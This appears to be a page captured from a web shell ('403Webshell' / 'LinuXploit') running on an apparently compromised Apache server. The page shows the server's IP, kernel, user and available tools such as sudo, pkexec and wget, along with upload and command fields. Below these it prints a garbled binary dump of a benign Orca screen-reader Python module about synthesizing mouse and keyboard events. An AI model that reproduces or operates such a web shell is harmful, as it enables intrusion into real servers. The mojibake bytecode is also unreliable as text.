403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/orca/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/orca/eventsynthesizer.pyo
Ñò
z#ÝJc@s‹dZdZdZdZdZdZddkZddkZd„Zd	„Z	d
„Z
dd„Zd
„Zd„Z
d„Zd„ZdS(s<Provides support for synthesizing keyboard and mouse events.s$Id$s
$Revision$s$Date$s-Copyright (c) 2005-2008 Sun Microsystems Inc.tLGPLiÿÿÿÿNcCs:titid|||fƒtii|||ƒdS(sSynthesize a mouse event at a specific screen coordinate.
    Most AT clients should use the #AccessibleAction interface when
    tempted to generate mouse events, rather than this method.

    Event names: b1p = button 1 press; b2r = button 2 release;
                 b3c = button 3 click; b2d = button 2 double-click;
                 abs = absolute motion; rel = relative motion.

    Arguments:
    - x: the x screen coordinate
    - y: the y screen coordinate
    - eventName: the event name string (as described above)
    s%SYNTHESIZING MOUSE EVENT: (%d, %d) %sN(tdebugtprintlntLEVEL_FINERtpyatspitRegistrytgenerateMouseEvent(txtyt	eventName((s9/usr/lib/python2.6/site-packages/orca/eventsynthesizer.pyRscCsu|iƒ}|i|itiƒ}t|d|d|dddƒ}|d|dd}t||dƒdS(s’Moves the mouse pointer to the given character

    Arguments:
    - obj: the Accessible which implements the accessible text
      interface
    iiiitabsN(t	queryTexttgetCharacterExtentstcaretOffsetRtDESKTOP_COORDStmaxtrouteToPoint(tobjttexttextentsRR((s9/usr/lib/python2.6/site-packages/orca/eventsynthesizer.pytrouteToCharacter4s'cCsT|iƒitiƒ}|i|id}|i|id}t||dƒdS(s_Moves the mouse pointer to the given Accessible.

    Arguments:
    - obj: the Accessible
    iR
N(	tqueryComponentt
getExtentsRRRtwidthRtheightR(RRRR((s9/usr/lib/python2.6/site-packages/orca/eventsynthesizer.pyt
routeToObjectFsR
cCst|||ƒdS(sŠMoves the mouse pointer to the given point.

    Arguments:
    - x, y: the point
    - eventName: absolute("abs") or relative("rel")
    N(R(RRR	((s9/usr/lib/python2.6/site-packages/orca/eventsynthesizer.pyRQscCsy|iƒ}|i|itiƒ}t|d|d|dddƒ}|d|dd}t||d|ƒdS(sÒPerforms a button click on the current character

    Arguments:
    - obj: the Accessible which implements the accessible text
      interface
    - button: an integer representing the mouse button number
    iiiisb%dcN(RRR
RRRR(RtbuttonRRRR((s9/usr/lib/python2.6/site-packages/orca/eventsynthesizer.pytclickCharacterZs'cCsX|iƒitiƒ}|i|id}|i|id}t||d|ƒdS(sPerforms a button click on the given Accessible.

    Arguments:
    - obj: the Accessible
    - button: an integer representing the mouse button number
    isb%dcN(	RRRRRRRRR(RRRRR((s9/usr/lib/python2.6/site-packages/orca/eventsynthesizer.pytclickObjectmscCst||d|ƒdS(s®Performs a button click on the given point.

    Arguments:
    - obj: the Accessible
    - x, y: the point
    - button: an integer representing the mouse button number
    sb%dcN(R(RRR((s9/usr/lib/python2.6/site-packages/orca/eventsynthesizer.pyt
clickPointys	cCstii|||ƒdS(sGenerates a keyboard event.

    Arguments:
    - keyval: a long integer indicating the keycode or keysym of the key event
              being synthesized.
    - keystring: an (optional) UTF-8 string which, if keyval is NULL,
              indicates a 'composed' keyboard input string which is
              being synthesized; this type of keyboard event synthesis does
              not emulate hardware keypresses but injects the string
              as though a composing input method (such as XIM) were used.
    - eventType: an AccessibleKeySynthType flag indicating whether keyval
              is to be interpreted as a keysym rather than a keycode
              (pyatspi.KEY_SYM), or whether to synthesize
              KEY_PRESS, KEY_RELEASE, or both (KEY_PRESSRELEASE).
    N(RRtgenerateKeyboardEvent(tkeycodet	keystringt	eventType((s9/usr/lib/python2.6/site-packages/orca/eventsynthesizer.pyR„s(t__doc__t__id__t__version__t__date__t
__copyright__t__license__RRRRRRRRRR(((s9/usr/lib/python2.6/site-packages/orca/eventsynthesizer.pyt<module>s							

Youez - 2016 - github.com/yon3zu
LinuXploit